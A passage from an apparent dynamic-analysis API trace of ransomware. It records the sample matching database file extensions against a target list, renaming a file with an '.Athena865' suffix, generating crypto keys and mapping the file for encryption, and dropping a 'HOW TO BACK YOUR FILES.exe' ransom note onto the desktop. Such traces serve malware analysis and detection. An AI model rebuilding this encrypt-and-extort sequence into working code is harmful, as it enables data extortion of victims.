3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0053.566] lstrlenW (lpString="mdb") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0053.566] lstrlenW (lpString="sql") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0053.566] lstrlenW (lpString="sqlite") returned 6 [0053.566] lstrcmpiW (lpString1="ex.dat", lpString2="sqlite") returned -1 [0053.566] lstrlenW (lpString="sqlite3") returned 7 [0053.566] lstrcmpiW (lpString1="dex.dat", lpString2="sqlite3") returned -1 [0053.566] lstrlenW (lpString="sqlitedb") returned 8 [0053.566] lstrcmpiW (lpString1="ndex.dat", lpString2="sqlitedb") returned -1 [0053.566] lstrlenW (lpString="xml") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0053.566] lstrlenW (lpString="$er") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0053.566] lstrlenW (lpString="4dd") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0053.566] lstrlenW (lpString="4dl") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0053.566] lstrlenW (lpString="^^^") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0053.566] lstrlenW (lpString="abs") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0053.566] lstrlenW (lpString="abx") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0053.566] lstrlenW (lpString="accdb") returned 5 [0053.566] lstrcmpiW (lpString1="x.dat", lpString2="accdb") returned 1 [0053.566] lstrlenW (lpString="accdc") returned 5 [0053.566] lstrcmpiW (lpString1="x.dat", lpString2="accdc") returned 1 [0053.566] lstrlenW (lpString="accde") returned 5 [0053.567] lstrcmpiW (lpString1="x.dat", lpString2="accde") returned 1 [0053.567] lstrlenW (lpString="accdr") returned 5 [0053.567] lstrcmpiW (lpString1="x.dat", lpString2="accdr") returned 1 [0053.567] lstrlenW (lpString="accdt") returned 5 [0053.567] lstrcmpiW (lpString1="x.dat", lpString2="accdt") returned 1 [0053.567] lstrlenW (lpString="accdw") returned 5 [0053.567] lstrcmpiW (lpString1="x.dat", lpString2="accdw") returned 1 [0053.567] lstrlenW (lpString="accft") returned 5 [0053.567] lstrcmpiW (lpString1="x.dat", lpString2="accft") returned 1 [0053.567] lstrlenW (lpString="adb") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0053.567] lstrlenW (lpString="adb") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0053.567] lstrlenW (lpString="ade") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0053.567] lstrlenW (lpString="adf") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0053.567] lstrlenW (lpString="adn") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0053.567] lstrlenW (lpString="adp") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0053.567] lstrlenW (lpString="alf") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0053.567] lstrlenW (lpString="ask") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0053.567] lstrlenW (lpString="btr") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0053.567] lstrlenW (lpString="cat") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0053.567] lstrlenW (lpString="cdb") returned 3 [0053.567] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0053.567] lstrlenW (lpString="ckp") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0053.568] lstrlenW (lpString="cma") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0053.568] lstrlenW (lpString="cpd") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0053.568] lstrlenW (lpString="dacpac") returned 6 [0053.568] lstrcmpiW (lpString1="ex.dat", lpString2="dacpac") returned 1 [0053.568] lstrlenW (lpString="dad") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0053.568] lstrlenW (lpString="dadiagrams") returned 10 [0053.568] lstrlenW (lpString="daschema") returned 8 [0053.568] lstrcmpiW (lpString1="ndex.dat", lpString2="daschema") returned 1 [0053.568] lstrlenW (lpString="db-journal") returned 10 [0053.568] lstrlenW (lpString="db-shm") returned 6 [0053.568] lstrcmpiW (lpString1="ex.dat", lpString2="db-shm") returned 1 [0053.568] lstrlenW (lpString="db-wal") returned 6 [0053.568] lstrcmpiW (lpString1="ex.dat", lpString2="db-wal") returned 1 [0053.568] lstrlenW (lpString="dbc") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0053.568] lstrlenW (lpString="dbs") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0053.568] lstrlenW (lpString="dbt") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0053.568] lstrlenW (lpString="dbv") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0053.568] lstrlenW (lpString="dbx") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0053.568] lstrlenW (lpString="dcb") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0053.568] lstrlenW (lpString="dct") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0053.568] lstrlenW (lpString="dcx") returned 3 [0053.568] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0053.569] lstrlenW (lpString="ddl") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0053.569] lstrlenW (lpString="dlis") returned 4 [0053.569] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0053.569] lstrlenW (lpString="dp1") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0053.569] lstrlenW (lpString="dqy") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0053.569] lstrlenW (lpString="dsk") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0053.569] lstrlenW (lpString="dsn") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0053.569] lstrlenW (lpString="dtsx") returned 4 [0053.569] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0053.569] lstrlenW (lpString="dxl") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0053.569] lstrlenW (lpString="eco") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0053.569] lstrlenW (lpString="ecx") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0053.569] lstrlenW (lpString="edb") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0053.569] lstrlenW (lpString="epim") returned 4 [0053.569] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0053.569] lstrlenW (lpString="fcd") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0053.569] lstrlenW (lpString="fdb") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0053.569] lstrlenW (lpString="fic") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0053.569] lstrlenW (lpString="flexolibrary") returned 12 [0053.569] lstrlenW (lpString="fm5") returned 3 [0053.569] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0053.569] lstrlenW (lpString="fmp") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0053.570] lstrlenW (lpString="fmp12") returned 5 [0053.570] lstrcmpiW (lpString1="x.dat", lpString2="fmp12") returned 1 [0053.570] lstrlenW (lpString="fmpsl") returned 5 [0053.570] lstrcmpiW (lpString1="x.dat", lpString2="fmpsl") returned 1 [0053.570] lstrlenW (lpString="fol") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0053.570] lstrlenW (lpString="fp3") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0053.570] lstrlenW (lpString="fp4") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0053.570] lstrlenW (lpString="fp5") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0053.570] lstrlenW (lpString="fp7") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0053.570] lstrlenW (lpString="fpt") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0053.570] lstrlenW (lpString="frm") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0053.570] lstrlenW (lpString="gdb") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0053.570] lstrlenW (lpString="gdb") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0053.570] lstrlenW (lpString="grdb") returned 4 [0053.570] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0053.570] lstrlenW (lpString="gwi") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0053.570] lstrlenW (lpString="hdb") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0053.570] lstrlenW (lpString="his") returned 3 [0053.570] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0053.570] lstrlenW (lpString="ib") returned 2 [0053.571] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0053.571] lstrlenW (lpString="idb") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0053.571] lstrlenW (lpString="ihx") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0053.571] lstrlenW (lpString="itdb") returned 4 [0053.571] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0053.571] lstrlenW (lpString="itw") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0053.571] lstrlenW (lpString="jet") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0053.571] lstrlenW (lpString="jtx") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0053.571] lstrlenW (lpString="kdb") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0053.571] lstrlenW (lpString="kexi") returned 4 [0053.571] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0053.571] lstrlenW (lpString="kexic") returned 5 [0053.571] lstrcmpiW (lpString1="x.dat", lpString2="kexic") returned 1 [0053.571] lstrlenW (lpString="kexis") returned 5 [0053.571] lstrcmpiW (lpString1="x.dat", lpString2="kexis") returned 1 [0053.571] lstrlenW (lpString="lgc") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0053.571] lstrlenW (lpString="lwx") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0053.571] lstrlenW (lpString="maf") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0053.571] lstrlenW (lpString="maq") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0053.571] lstrlenW (lpString="mar") returned 3 [0053.571] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0053.571] lstrlenW (lpString="marshal") returned 7 [0053.571] lstrcmpiW (lpString1="dex.dat", lpString2="marshal") returned -1 [0053.572] lstrlenW (lpString="mas") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0053.572] lstrlenW (lpString="mav") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0053.572] lstrlenW (lpString="maw") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0053.572] lstrlenW (lpString="mdbhtml") returned 7 [0053.572] lstrcmpiW (lpString1="dex.dat", lpString2="mdbhtml") returned -1 [0053.572] lstrlenW (lpString="mdn") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0053.572] lstrlenW (lpString="mdt") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0053.572] lstrlenW (lpString="mfd") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0053.572] lstrlenW (lpString="mpd") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0053.572] lstrlenW (lpString="mrg") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0053.572] lstrlenW (lpString="mud") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0053.572] lstrlenW (lpString="mwb") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0053.572] lstrlenW (lpString="myd") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0053.572] lstrlenW (lpString="ndf") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0053.572] lstrlenW (lpString="nnt") returned 3 [0053.572] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0053.572] lstrlenW (lpString="nrmlib") returned 6 [0053.572] lstrcmpiW (lpString1="ex.dat", lpString2="nrmlib") returned -1 [0053.572] lstrlenW (lpString="ns2") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0053.573] lstrlenW (lpString="ns3") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0053.573] lstrlenW (lpString="ns4") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0053.573] lstrlenW (lpString="nsf") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0053.573] lstrlenW (lpString="nv") returned 2 [0053.573] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0053.573] lstrlenW (lpString="nv2") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0053.573] lstrlenW (lpString="nwdb") returned 4 [0053.573] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0053.573] lstrlenW (lpString="nyf") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0053.573] lstrlenW (lpString="odb") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0053.573] lstrlenW (lpString="odb") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0053.573] lstrlenW (lpString="oqy") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0053.573] lstrlenW (lpString="ora") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0053.573] lstrlenW (lpString="orx") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0053.573] lstrlenW (lpString="owc") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0053.573] lstrlenW (lpString="p96") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0053.573] lstrlenW (lpString="p97") returned 3 [0053.573] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0053.573] lstrlenW (lpString="pan") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0053.574] lstrlenW (lpString="pdb") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0053.574] lstrlenW (lpString="pdm") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0053.574] lstrlenW (lpString="pnz") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0053.574] lstrlenW (lpString="qry") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0053.574] lstrlenW (lpString="qvd") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0053.574] lstrlenW (lpString="rbf") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0053.574] lstrlenW (lpString="rctd") returned 4 [0053.574] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0053.574] lstrlenW (lpString="rod") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0053.574] lstrlenW (lpString="rodx") returned 4 [0053.574] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0053.574] lstrlenW (lpString="rpd") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0053.574] lstrlenW (lpString="rsd") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0053.574] lstrlenW (lpString="sas7bdat") returned 8 [0053.574] lstrcmpiW (lpString1="ndex.dat", lpString2="sas7bdat") returned -1 [0053.574] lstrlenW (lpString="sbf") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0053.574] lstrlenW (lpString="scx") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0053.574] lstrlenW (lpString="sdb") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0053.574] lstrlenW (lpString="sdc") returned 3 [0053.574] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0053.575] lstrlenW (lpString="sdf") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0053.575] lstrlenW (lpString="sis") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0053.575] lstrlenW (lpString="spq") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0053.575] lstrlenW (lpString="te") returned 2 [0053.575] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0053.575] lstrlenW (lpString="teacher") returned 7 [0053.575] lstrcmpiW (lpString1="dex.dat", lpString2="teacher") returned -1 [0053.575] lstrlenW (lpString="tmd") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0053.575] lstrlenW (lpString="tps") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0053.575] lstrlenW (lpString="trc") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0053.575] lstrlenW (lpString="trc") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0053.575] lstrlenW (lpString="trm") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0053.575] lstrlenW (lpString="udb") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0053.575] lstrlenW (lpString="udl") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0053.575] lstrlenW (lpString="usr") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0053.575] lstrlenW (lpString="v12") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0053.575] lstrlenW (lpString="vis") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0053.575] lstrlenW (lpString="vpd") returned 3 [0053.575] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0053.576] lstrlenW (lpString="vvv") returned 3 [0053.576] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0053.576] lstrlenW (lpString="wdb") returned 3 [0053.576] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0053.576] lstrlenW (lpString="wmdb") returned 4 [0053.576] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0053.576] lstrlenW (lpString="wrk") returned 3 [0053.576] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0053.576] lstrlenW (lpString="xdb") returned 3 [0053.576] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0053.576] lstrlenW (lpString="xld") returned 3 [0053.576] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0053.576] lstrlenW (lpString="xmlff") returned 5 [0053.576] lstrcmpiW (lpString1="x.dat", lpString2="xmlff") returned -1 [0053.576] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Cookies\\index.dat.Athena865") returned 61 [0053.576] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Cookies\\index.dat" (normalized: "c:\\documents and settings\\default\\cookies\\index.dat"), lpNewFileName="C:\\Documents and Settings\\Default\\Cookies\\index.dat.Athena865" (normalized: "c:\\documents and settings\\default\\cookies\\index.dat.athena865"), dwFlags=0x1) returned 1 [0053.577] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Cookies\\index.dat.Athena865" (normalized: "c:\\documents and settings\\default\\cookies\\index.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.577] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16384) returned 1 [0053.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d9a8 [0053.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0053.578] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.578] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.578] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.579] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x154 [0053.580] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000 [0053.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.582] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.582] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0053.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.583] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.583] CloseHandle (hObject=0x154) returned 1 [0053.583] CloseHandle (hObject=0x17c) returned 1 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a8 | out: hHeap=0x4f0000) returned 1 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0053.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.584] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd021fb60, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0053.584] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.584] ReleaseMutex (hMutex=0xec) returned 1 [0053.584] CloseHandle (hObject=0xec) returned 1 [0053.584] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Desktop" | out: lpString1="C:\\Documents and Settings\\Default\\Desktop") returned="C:\\Documents and Settings\\Default\\Desktop" [0053.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5287d0 | out: hHeap=0x4f0000) returned 1 [0053.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c770 | out: hHeap=0x4f0000) returned 1 [0053.584] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Desktop") returned 41 [0053.584] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8DCD38781346BC0B2724C5DAB8388EBA") returned 0xec [0053.584] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.584] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Desktop" | out: lpString1="C:\\Documents and Settings\\Default\\Desktop") returned="C:\\Documents and Settings\\Default\\Desktop" [0053.584] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.584] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.585] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.585] GetLastError () returned 0x0 [0053.585] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.585] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.586] CloseHandle (hObject=0xf4) returned 1 [0053.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.586] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.586] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.586] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.586] lstrcmpiW (lpString1=".", 